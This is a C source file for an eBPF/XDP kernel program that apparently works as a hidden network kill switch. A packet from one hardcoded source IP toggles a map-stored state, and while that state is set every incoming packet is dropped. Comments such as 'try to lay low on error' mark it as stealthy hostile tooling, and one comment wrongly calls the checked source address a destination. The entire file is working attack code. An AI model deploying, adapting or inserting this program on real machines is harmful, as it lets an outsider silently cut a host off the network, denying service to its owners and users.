xdp-program/packet_dropper.c

b9ef8fbd63fface91ff3cd98d7d702f9827c322d · 1.9 KB · 77 lines raw

1 #include <linux/bpf.h>
2 #include <bpf/bpf_helpers.h>
3 #include <linux/if_ether.h>
4 #include <linux/in.h>
5 #include <linux/if_packet.h>
6 #include <linux/ip.h>
7 #include <linux/tcp.h>
8
9 struct {
10 __uint(type, BPF_MAP_TYPE_ARRAY);
11 __type(key, __u32);
12 __type(value, __u32);
13 __uint(max_entries, 1);
14 } status SEC(".maps");
15
16 SEC("xdpentry")
17 int entry(struct xdp_md *ctx) {
18 // Prepare some data structures
19 __u32 *rec;
20 __u32 key = 0;
21 void *data_end = (void *)(long)ctx->data_end;
22 void *data = (void *)(long)ctx->data;
23 struct ethhdr *eth = data;
24
25 rec = bpf_map_lookup_elem(&status, &key); // Lookup current packet status from kernel map
26 if (!rec) {
27 return XDP_DROP; // try to lay low on error
28 }
29 //bpf_printk("Rec: %u", *rec); // Debug prints
30 if ((*rec != 55) && (*rec != 56)) {
31 // First run check
32 // bpf_printk("Resetting rec!"); // Debug Prints
33 *rec = 56; // set default value for map
34 }
35
36 if (eth + 1 > data_end) // Bounds checking for xdp preverifier
37 return XDP_PASS; // This should never run normally
38
39 /** if(eth->h_proto != ETH_P_IP) {
40 return XDP_PASS; // don't kill layer 2 traffic
41 } **/
42
43 struct iphdr *iph = data + sizeof(struct ethhdr);
44 if (iph + 1 > data_end) // More bounds checking
45 return XDP_PASS; // This should never run either
46 //
47 __u32 ip_src = iph->saddr; // grab source address of packet
48 // bpf_printk("Incoming packet: %u\n", ip_src); // Debug print
49 // Determine if we need to further process this packet
50 if (ip_src == 1946091487) {
51 // This packet had a destination of 223.255.254.115, do something!
52 // bpf_printk("Got it!, setting rec..."); // Debug print
53 switch (*rec) {
54 case 55 :
55 *rec = 56;
56 break;
57 case 56 :
58 *rec = 55;
59 break;
60 }
61 return XDP_DROP;
62 }
63 else if (ip_src == 0) {
64 // most likely a layer 2 packet, let it thru
65 return XDP_PASS;
66 }
67
68 // Finish processing
69 if (*rec == 55) {
70 return XDP_DROP;
71 } else {
72 return XDP_PASS;
73 }
74 }
75
76
77 char _license[] SEC("license")= "GPL";